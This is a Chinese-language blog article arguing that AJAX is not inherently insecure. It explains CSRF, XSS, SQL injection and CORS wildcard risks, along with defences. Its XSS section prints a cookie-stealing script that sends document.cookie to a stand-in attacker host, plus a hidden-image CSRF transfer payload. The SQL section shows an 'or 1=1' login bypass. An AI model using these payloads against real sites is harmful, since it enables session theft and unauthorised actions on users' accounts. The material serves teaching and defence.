你的 AJAX 請求真的安全?

開篇三問

前言

本文包含的內容較多,包括 AJAX,CORS,XSS,CSRF 等內容,要完整的看完並理解需要付出一定的時間。

另外,見解有限,如有描述不當之處,請幫忙及時指出。

正文開始

從入坑前端開始,一直到現在,AJAX 請求都是以極高的頻率重複出現,也解決過不少 AJAX 中遇到的問題,如跨域調試,錯誤調試等等。

從這種,發現了一個共通現象:那就是每次和後臺人員對接時,他們都會提到 AJAX 請求不安全,請用普通 http 請求!

雖然很多時候,都是經過多翻口舌之爭後,最終後臺那邊妥協,允許部分符合條件的 AJAX 請求。但是,我卻很糾結一個問題:AJAX 請求真的不安全麼?爲什麼我自己寫後臺時並沒有發現這個問題?

於是,開始準備蒐集資料,結合自己已有的認知,整理成一份解決方案,分析 AJAX 請求真的不安全麼?哪裏不安全?,後續遇到類似的問題就直接向對方拋出一篇文章

大綱

AJAX 請求真的不安全麼
常見的幾種 Web 前端安全問題
AJAX 和 HTTP 請求的區別
CORS 與 AJAX 安全性之間的關聯
再看,AJAX 請求真的不安全麼?
AJAX 請求哪裏不安全?
怎麼樣讓 AJAX 請求更安全?

AJAX 請求真的不安全麼

首先,先說一個定論:AJAX 請求是否安全,由服務端(後臺)決定

有這樣一個說法:

如果某個 Web 應用具備良好的安全性,那麼再怎麼用 “不安全的 AJAX” 也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的

爲何會有這種說法?因爲在 Web 應用中,客戶端輸入不可信是一個基本原則

AJAX 不安全的說法從何而來?

在 AJAX 出現時,那時的服務端還是很古老的那一批,因此完全沒有考慮到 AJAX 出現後,前端請求方式會變得異常複雜,造成以前的安全策略已經無法滿足要求了,導致大批的後臺安全漏洞曝光。。。

很顯然,都是因爲 AJAX 出現後曝光了更多的安全漏洞,導致它看起來很危險(因爲 AJAX 出現後,請求方式變多了,以前的架構在新的請求中就可能出現更多漏洞)

So,AJAX 不安全的說法自然擴散到了各個角落。

常見的幾種 Web 前端安全問題

要知道 AJAX 請求是否安全,那麼就得先知道 Web 前端中到底有那幾種安全問題

 11.XSS(跨站腳本攻擊)(cross-site scripting)
 2
 3    -> 僞造會話(基於XSS實現CSRF)
 4
 5    -> 劫持cookie
 6
 7    -> 惡意代碼執行
 8
 92.CSRF(跨站請求僞造)(cross-site request forgery)
10
11    -> 僞造用戶身份操作
12
133. SQL注入
14
15...(其它暫且不提)
16

如上,Web 前端中的安全問題主要就是這幾大類(僅列舉部分做分析),所以我們首先要分析 AJAX 與這幾大類之間的關係。(XSS 和 CSRF,在下文也會做簡單介紹。)

CSRF 簡介

CSRF,特徵很簡單:冒用用戶身份,進行惡意操作

時至今日,這項安全漏洞已經被人們剖析的很透徹了,隨便 Google,百度之,都會找到很多的解釋。這裏也用一張圖來先做簡單描述:

注,下面介紹參考了來源文章中的描述,譬如圖就是參考了來源中的博文後重繪的

所以,我們看到關鍵條件是:

一般在 (4) 處惡意網站 (B) 的攻擊手段如下(必須是指向 A 的地址,否則無法帶上 cookie):

而且,從頭到尾,攻擊網站都沒有獲取到過 cookie,都是通過瀏覽器間接實現(利用 Web 的 cookie 隱式身份驗證機制),所以 HttpOnly 並不會影響這個攻擊

最後說下,幾種常見的 CSRF 防禦手段:

1. 驗證 HTTP Referer 字段(非常簡單,但是鑑於客戶端並不可信任,所以並不是很安全)

防止 CSRF,檢查 Referer 字段簡單直接,但是其完全依賴瀏覽器發送正確的 Referer 字段。
雖然 http 協議對此字段的內容有明確的規定,但並無法保證來訪的瀏覽器的具體實現,
亦無法保證瀏覽器沒有安全漏洞影響到此字段。並且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。

  1. 在請求地址中添加 token 並驗證

譬如 post 中,以參數的形式加入一個隨機產生的 token

CSRF 與 AJAX 的關係

上文中,我們看到 CSRF 的前提是 cookie 驗證用戶身份,那麼它與 AJAX 的關係大麼?

我們先分析 AJAX 中帶 cookie 驗證的情況:

  1. AJAX 受到瀏覽器的同源策略限制

  2. AJAX 默認無法請求跨域的接口
    當然後臺可以配置Access-Control-Allow-Origin: *之類的允許所有的跨域請求

  3. AJAX 請求無法攜帶跨域 cookie
    如果強行開啓 withCredentials,必須服務端配合認證,無法用作攻擊

嗯哼… 看到這,基本就可以認爲 CSRF 與 AJAX 請求無緣了……..

譬如假設上圖中第 4 部分的請求由 AJAX 發起,假設網站 A 已經允許了Access-Control-Allow-Origin: *,由於網站 B 與網站 A 是不同域名,所以存在跨域,根據同源策略,請求時根本就無法攜帶 cookie,故而無法通過身份認證,攻擊失敗…..

就算強行開啓 withCredentials,攜帶跨域 cookie,但是由於服務端並不會單獨配置網站 B 的跨域 cookie(需配置Access-Control-Allow-Credentials: true,而且這時候不允許設置Allow-Origin: *),所以肯定認證失敗。

可以看到,就算Access-Control-Allow-Origin: *允許所有來源的 AJAX 請求,跨域的 cookie 默認情況下仍然是無法攜帶的,無法 CSRF

所以說,結論是:CSRF 與 AJAX 無關

XSS 簡介

既然 CSRF 與 AJAX 關係不大,那麼 XSS 應該會與 AJAX 有很大關係吧?(要不然爲什麼一直說 AJAX 請求不安全,對吧)。那麼請繼續看下去(本文中只限 JS 範疇)

XSS(cross-site scripting),看起來簡寫應該是 css 更合適。但是爲了和層疊式樣式表區分,就用 XSS 簡寫表示

XSS 的特徵也可以概括爲:跨域腳本注入,攻擊者通過某種方式將惡意代碼注入到網頁上,然後其他用戶觀看到被注入的頁面內容後會受到特定攻擊。

相比 CSRF,XSS 囊括的內容更多,而且往往是多種攻擊形式組合而成,這裏以前文中介紹的幾種爲例:

1.cookie 劫持

同樣,頁面中有一個評論輸入,輸入後會,因爲後臺的漏洞,沒有過濾特殊字符,會直接明文保存到數據庫中,然後展示到網頁時直接展示明文數據,那麼如下

然後攻擊者分析後,輸入

1<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

保存文章。很簡單的代碼,由於沒有過濾腳本,那麼其它用戶登陸後,在看到這篇文章時就會自動將他們的 cookie 信息都發送到了攻擊者的服務器。
攻擊者可以在 cookie(譬如 jsessionid 對應的 session)有效期內拿它們冒充用戶操作。

需要注意,這裏和 CSRF 的區別是,這裏是拿到了 cookie 後主動冒充用戶的,而 CSRF 中根本就不知 cookie,僅利用瀏覽器的隱式校驗方式冒充用戶。

2. 會話僞造

同樣是評論漏洞的示例。

攻擊者輸入(舉例比喻)

1<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

然後,接下來發生的故事就和 CSRF 中提到的一致。這種情況就是基於 XSS 而開展的 CSRF,也有人喜歡稱之爲 XSRF

需要注意,這裏並沒有自己拿到 cookie,而是 CSRF 中提到的利用瀏覽器的隱式驗證機制來冒充用戶。

3. 其它惡意代碼執行

其實上面的 cookie 劫持以及會話僞造都算是惡意代碼執行,爲了區別,這裏就專指前端的流氓 JS。

譬如前面的評論中的輸入可以是:

這裏再提一點,上述都是從前端輸入作爲入口的,但實際上有一類的輸入也不可忽視,那就是:富文本攻擊

它的特點就是:富文本中注入了腳本,並且前後端未進行過濾,導致直接輸出到了頁面中

因爲存在很多頁面,都是將富文本內容展示到網頁上的,沒有進行過濾(哪怕時至今日,仍然有不少頁面),這樣只要富文本中有注入腳本,基本就中招了…..

結論:

只要最終能向頁面輸出可執行的腳本語句,那麼就是有漏洞,XSS 攻擊都有可能發生。

而且,基本上 xss 漏洞是很廣泛的,雖然攻擊類型很被動,也需要大量時間分析,但勝在大量的網站上都存在(特別是那種長期不更新的)

再提一點。上述的介紹更多的是從造成的後果來看,但其實如果從攻擊手動來看的話可以分爲幾大類型:

上述示例中都是存儲型,具體更多內容網上已經有很詳細的資料,這裏不再繼續深入,放一張圖鞏固下。

如何預防 XSS:

1、輸入過濾,不信任用戶的任何輸入,過濾其中的<>/等可能導致腳本注入的特殊字符,或者過濾scriptjavascript等腳本關鍵字,或者對輸入數據的長度進行限制等等,還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。

2、輸出進行編碼,和輸入過濾類似,不過是從輸出上着手,數據輸出到頁面時,經過 HtmlEncoder 等工具編碼,這樣就不會存在直接輸出可執行的腳本了

3、cookie 設置http-only,這樣用腳本就無法獲取 cookie 了(這樣只有瀏覽器向 Web 服務器發起請求的時纔會帶上 cookie 字段,避免了 XSS 攻擊利用 JavaScript 的document.cookie獲取 cookie)

4、Cookie 防盜,儘可能地避免在 Cookie 中泄露隱私,如用戶名、密碼等;或者,爲了防止重放攻擊,可以將 Cookie 和 IP 進行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。

注意,特別是後臺,一定不能信任前端的輸入,需要過濾與校驗

XSS 與 AJAX 的關係

以上分析了 XSS 造成一些影響與問題,仍然發現:與 AJAX 關係不大,因爲這些問題不管用不用 AJAX 都會發生。

看看這種情況,譬如上述的富文本注入中:

但是,這真的與 AJAX 無關,這是前後端沒有進行輸入輸出過濾而造成的後果。

所以,還是那句話:如果某個 Web 應用具備良好的安全性,那麼再怎麼用 “不安全的 AJAX” 也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的

SQL 注入簡介

sql 注入展開將也是一門很大的學問,很早以前更是大行其道(當然,現在…),這裏僅僅舉幾個最極端的示例。

前提是後臺沒有過濾前端的輸入數據,否則根本無法生效

假設頁面 A 中有一個登陸查詢存在拙劣的 sql 注入漏洞,這樣子的:(最極端,最傻的情況)

在接收到登陸請求後,服務端的實際執行代碼時是:

1String sql = "SELECT * FROM  users  WHERE name = '" + name + "' AND password = '" + password + "'";

然而有攻擊者分析出後臺可能存在漏洞,嘗試 sql 注入攻擊,輸入

那麼這樣,後臺接收到數據後,實際上查詢的結果是

1SELECT * FROM  users  WHERE name = ' ' or 1=1  AND password = 'anything'

故而,攻擊者成功的繞過的用戶名,利用後臺漏洞登陸了。

當然了,像這類這麼低級的漏洞,現象幾乎已經不存在了,往往這類型漏洞需要仔細分析,耗時。(又或者是有內奸…..)

SQL 注入與 AJAX 的關係

額,從上述的示例中看不出和 AJAX 有什麼關係。但是我們可以這樣假設:

對,就是這樣極端的情況下才會發生,而且與 AJAX 並沒有關係,因爲換成任何一種其它請求都會有類似的情況….

所以說,結論是:SQL 注入與 AJAX 無關

AJAX 和 HTTP 請求的區別

從本質上將:AJAX 就是瀏覽器發出的 HTTP 請求,只不過是瀏覽器加上了一個同源策略限制而已。AJAX 請求的XMLHTTPRequest對象就是瀏覽器開放給 JS 調用 HTTP 請求用的。

那麼 AJAX 和 HTTP 的區別呢?列出以下幾點:

但是,從最終發出的報文來看,內容都是一樣的(HTTP 協議規範的內容),AJAX 是發送 HTTP 請求的一種方式

所以從這一點可以得出一個結論:AJAX 本質上安全性和 HTTP 請求一樣

CORS 與 AJAX 安全性之間的關聯

按照前文中提到的內容,基本無法得出 AJAX 與請求不安全的關聯。那麼接下來,再繼續分析,如果使用了跨域資源共享(CORS)後的安全性。(因爲往往 ajax 都會伴隨着 CORS)

CORS 與 AJAX 關係的簡介

這是一個跨域共享方案,大致流程就是:(僅以複雜請求的預檢舉例 - 這一部分要求提前掌握 CORS 相關知識)

  1. 前端 AJAX 請求前發出一個 OPTIONS 預檢,會帶一堆相關頭部發送給服務端

  2. 服務端在接受到預檢時,檢查頭部,來源等信息是否合法,合法則接下來允許正常的請求,
    否則直接無情的拒絕掉

  3. 瀏覽器端如果收到服務端拒絕的信息(響應頭部檢查),就拋出對應錯誤。
    否則就是正常的響應,接下來發出真正的請求(如 POST)

請求和響應的頭部信息大概如下:

Request Headers
Response Headers

最終,客戶端發出的請求,必須符合服務端的校驗規則才能正確,服務端纔會返回正確頭部,否則只會請求失敗。報跨域錯誤。

以上僅是簡介,更多信息可以參考來源中的 ajax 跨域,這應該是最全的解決方案了

爲什麼要配置 CORS?

因爲同源策略限制,AJAX 無法請求跨域資源,CORS 可以解決 AJAX 跨域請求問題。

因此:在本文中,配置 CORS 只是爲了 AJAX 能跨域請求

CORS 會配置些什麼信息?

如上,加上這個配置後,必須符合要求的纔算是正常的請求,否則就會拒絕掉,一般 AJAX 跨域的話都會有 OPTIONS,所以在預檢中就做了這一步。

可以看到,關鍵的可變信息是:Access-Control-Allow-Origin: http://xxx

這個配置就是域名白名單,規定在什麼樣的域名下才能進行 AJAX 跨域請求。

CORS Origin: * 的安全性

關鍵問題來了,在上面的 CORS 配置是這樣的:

1Access-Control-Allow-Origin: http://xxx

但是這個配置只允許特定域名訪問,鑑於前端的複雜性,有時候調試起來不是很方便,因此有時候,會偷懶的設置爲:

1Access-Control-Allow-Origin: *

這個代表所有來源的跨域 AJAX 請求都能正常響應。

接下來我們再來分析設置Origin: *可能帶來哪些問題。(都是基於 AJAX 的情況)

不會。雖然 * 代表了所有來源都能正常請求,但是同源策略下,是無法帶上跨域 cookie 的。因此根本無法用身份驗證。

而且,就算用 withCredentials 強行帶上跨域 cookie,因爲後臺沒有支持,所以會報錯。(這可以看成是 CORSs 模型的最後一道防線)

再者,後臺就算配置 Access-Control-Allow-Credentials 允許跨域 cookie,但是這時候的安全策略是 Origin 不允許爲,必須是一個明確的地址。(否則你就可以看到瀏覽器的報錯信息 - 跨域 cookie 時,Origin 不允許爲)

問題 2:如果僞造 Origin 頭部呢?

首先,標準的瀏覽器中是不允許你僞造的(除非有嚴重漏洞),所以一般需要通過模擬客戶端請求僞造。

但是。在非瀏覽器情況下,本來就沒有同源策略。這又是何必…..

所以說,僞造 Origin 與 CORS 並沒有關係。

問題 3:如果後臺本來就存在漏洞呢?

做這樣一個假設,假設用戶所在網絡的內網中有一臺內網服務器,並且配置了允許所有的跨域請求:(當然,外網是請求不到內網的)

再假設內網服務器上恰巧存在敏感資源,並且沒有額外設防,只要內網就能訪問。譬如:

1192.168.111.23/users.md

然後用戶訪問了惡意網頁,而像 HTML 之類的網頁都是下載到本地執行的,正好網頁內有惡意代碼,去向192.168.111.23/users.md請求資源,再將接收到的服務端返回發送到攻擊者服務器。(因爲加了 Origin 爲 *,而且 AJAX 是由本地瀏覽器發出的,所以用戶下載到本地的惡意網站是可以訪問到用戶內網中的後臺的)

然後這些敏感數據就這樣被盜取了。

But,這是因爲服務端漏洞而存在的問題,設置 Origin 爲的後臺上爲何要放置敏感資源?正常設置爲 Origin 爲的最大作用是用作公共 API。

而且更重要的是,爲何敏感資源就這樣輕易的被獲取了?爲什麼沒有二次驗證?

SO,後臺本身有漏洞,所以才導致被攻擊,AJAX 恰好是攻擊的手段之一(除了 AJAX 外還會有其它的方式),所以很多鍋都甩到了 AJAX 頭上。

這樣,可以得出一個保守點的結論:

Origin 如果不是_,AJAX 請求並不會有安全問題,如果是_,可能會由於後臺的漏洞,不經意間,AJAX 就被作爲一種攻擊手段了,導致了出現 AJAX 不安全的說法

再看,AJAX 請求真的不安全麼?

仍然是最初的結論:

如果某個 Web 應用具備良好的安全性,那麼再怎麼用不安全的AJAX也削弱不了它的安全性,反之如果應用本身存在漏洞,不管用何種技術請求,它都是不安全的

我們可以看到,XSS 也好,CSRF 也好,以及其它隱藏的可能漏洞也好,本質上都是後臺已有漏洞造成的問題,AJAX 最多是被用作一種攻擊手段(甚至某些裏面 AJAX 還無法使用)

提到 AJAX 請求不安全的,譬如有 CORS 裏面配置Origin: *造成某些極端情況下能通過 AJAX 發出攻擊。但事實上這也是其中的一種攻擊手段而已,沒有 AJAX,該不安全的仍然不安全。

譬如還有的說法是:因爲在 AJAX 出現以前,如果出現安全漏洞,容易被察覺,但 AJAX 是異步的,更容易隱式的出現安全問題….. 這也與安全性的本質無關。

最重要一點,從 Web 應用安全角度來談,Web 應用必須從不信任客戶端。所以不要再把鍋甩給 AJAX。

AJAX 請求哪裏不安全?

同上,AJAX 本身並不存在這種安全問題。不過有一點需注意,如果使用了 CORS 方案。

怎麼樣讓 AJAX 請求更安全?

仍然是文中反覆提到的結論:

讓 Web 後臺更安全,則 AJAX 請求也更安全,反之後臺有漏洞,不管怎麼樣都是不安全的

寫在最後的話

這樣的話,應該可以把 AJAX 不安全的鍋甩掉了吧?

來源:cnblogs.com/dailc/p/8191150.html

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/kfWgtUH6Ccb5-RGYMGZIzg